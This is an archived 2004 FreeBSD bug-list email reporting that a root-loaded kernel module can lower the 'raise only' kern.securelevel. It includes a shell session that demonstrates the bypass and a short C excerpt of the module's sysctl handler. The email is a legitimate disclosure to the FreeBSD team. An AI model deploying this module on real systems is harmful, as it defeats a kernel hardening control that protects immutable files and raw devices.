From owner-freebsd-bugs@FreeBSD.ORG Tue Jun 15 10:01:59 2004 Return-Path: Delivered-To: freebsd-bugs@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CDFED16A4CE for ; Tue, 15 Jun 2004 10:01:59 +0000 (GMT) Received: from localhost.sk (localhost.sk [195.168.3.123]) by mx1.FreeBSD.org (Postfix) with SMTP id 18AA343D46 for ; Tue, 15 Jun 2004 10:01:59 +0000 (GMT) (envelope-from rado@localhost.sk) Received: (qmail 12642 invoked by uid 31348); 15 Jun 2004 10:01:06 -0000 Received: from rado@localhost.sk by localhost by uid 31361 with qmail-scanner-1.20rc3 (clamuko: 0.60. spamassassin: 2.60. Clear:RC:1:SA:0(0.0/5.0):. Processed in 2.575575 secs); 15 Jun 2004 10:01:05 -0000 X-Spam-Status: No, hits=0.0 required=5.0 Date: Tue, 15 Jun 2004 12:01:02 +0200 From: Radko Keves To: freebsd-bugs@FreeBSD.org, security@FreeBSD.org Message-ID: <20040615100102.GA12078@daemon.sk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2i Subject: Unprivilegued settings for FreeBSD kernel variables X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Jun 2004 10:01:59 -0000 INTRODUCTION: i have found security threat in basic security facility in BSD systems that allows to lower sysctl variable in this case to bypass security settings, root privilegues are needed DESCRIPTION: sysctl(8) ... The sysctl utility retrieves kernel state and allows processes with appropriate privilege to set kernel state. The state to be retrieved or set is described using a ``Management Information Base'' (``MIB'') style name, described as a dotted set of components. ... kern.securelevel integer raise only ... security(7) ... Once you have set the securelevel to 1, write access to raw devices will be denied and special chflags flags, such as `schg', will be enforced. ... sysctl(3) ... KERN_SECURELVL The system security level. This level may be raised by processes with appropriate privilege. It may not be lowered. ... PROBLEM: raise only kernel variables aren't really raise only, here is the way how we can avoid security settings EXAMPLE: kernel module can gives you a new sysctl (for example kern.securelevel2): kern.securelevel2 with which you can lower/raiser sysctl.securelevel variable (source code attached) $ kldstat Id Refs Address Size Name 1 7 0xc0400000 4378e4 kernel ... $ $ kldload ./securelevel2.ko $ kldstat Id Refs Address Size Name 1 8 0xc0400000 4378e4 kernel ... 8 1 0xc4e96000 2000 securelevel2.ko $sudo sysctl kern.securelevel kern.securelevel: -1 $sudo sysctl kern.securelevel=3 kern.securelevel: -1 -> 3 $ sudo sysctl kern.securelevel kern.securelevel: 3 $ sudo sysctl kern.securelevel=-1 kern.securelevel: 3 sysctl: kern.securelevel: Operation not permitted $ sudo sysctl kern.securelevel2=-1 kern.securelevel2: 3 -> -1 $ sudo sysctl kern.securelevel kern.securelevel: -1 $ uname -a FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun 2 11:23:59 CEST 2004 rado@mk:/xx/angel i386 WORKAROUND: not known SEE ALSO: other "raise only" :-) sysctl variables (uptime....), write access to raw devices... STATUE: still better than others AFFECTED DISTRIBUTIONS: FreeBSD 5.x i386 FreeBSD, OpenBSD, NetBSD, Linux is most likely also affected (investigation needed) LAST WORDS: i think i'm paranoid, but i want some measures to be taken FreeBSD team was informed CODE: [...] static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) { int error; error = sysctl_handle_long(oidp,&(securelevel), 0, req); return (error); } SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", "."); [...] Best regards, -- Radko Keves